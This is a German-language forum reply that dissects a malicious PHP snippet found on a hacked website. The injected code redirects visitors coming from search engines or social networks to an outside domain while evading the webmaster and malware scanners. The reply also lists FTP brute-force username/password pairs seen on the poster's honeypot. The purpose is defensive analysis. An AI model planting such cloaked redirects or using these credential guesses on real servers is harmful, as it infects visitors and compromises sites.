Ich drösel es dir mal auf 
PHP-Code:
// Keine Fehlermeldungen ausgeben, klar ;)
error_reporting(0);
// Abfragen, ob bereits Ausgabe an den Browser gesendet wurde.
$nccv=headers_sent();
// ... wenn nicht...
if (!$nccv)
{
// Abfragen, woher der Besucher kommt und als was er sich identifiziert
$referer=$_SERVER['HTTP_REFERER'];
$ua=$_SERVER['HTTP_USER_AGENT'];
// Wenn der User-Agent bekannt ist...
if ($ua)
{
// ...prüfen, ob der Besucher von aol.com, yahoo, google u.s.w. kommt
if (stristr($referer,"aol.com")
or stristr($referer,"yahoo")
or stristr($referer,"google")
or stristr($referer,"bing")
or stristr($referer,"ask.com")
or stristr($referer,"msn")
or stristr($referer,"live")
or stristr($referer,"facebook"))
{
// ... und es keine Google-Cache-Seite war oder irgendwas mit "inurl" im Referrer steht
if (!stristr($referer,"cache")
or !stristr($referer,"inurl"))
{
// ... leite ihn weiter auf diese URL
header("Location: http://putitnow.osa.pl/");
exit();
}
}
}
}
Das soll verhindern, dass der Einbruch sofort bemerkt wird, weil der Webmaster ja selten über Google seine Seiten aufruft.
Man versucht hier gezielt nur die Leute zu infizieren, die über Suchmaschinen oder Social Networks zu dir kommen.
Außerdem verhindert es wirkungsvoll, dass z.B. Googles Malware-Scan die Seite als infektiös einstuft, der Google-Bot kommt meines Wissens ohne Referrer daher.
Falls du noch nach dem Einfallstor suchst:
Sollte der Angreifer sich über FTP Zugang verschafft haben, prüfe bitte einmal, was als Kennwort gesetzt war/ist (und sperre FTP ggf. erstmal).
Meine Honeypots werden inzwischen gerne und oft überfallen und es hat sich herauskristallisiert, dass eigentlich nur wenige Kombinationen durchprobiert werden.
Hier z.B. von meinem FTP-Honeypot:
Code:
USER = web0
PASS = web0
USER = web0
PASS = 123456
USER = web1
PASS = web1
USER = web1
PASS = 123456
...
Einige wenige Bots versuchen es tatsächlich gezielt mit komplexeren Kombinationen oder direkt mit SQL-Injections.
Gleiches gilt auch für POP3-Logins. Da werden die Postfächer mit den selben Benutzer-/Passwort-Kombinationen versucht zu knacken...
LinkBack URL
About LinkBacks
Zitieren
Zitat von maxi89
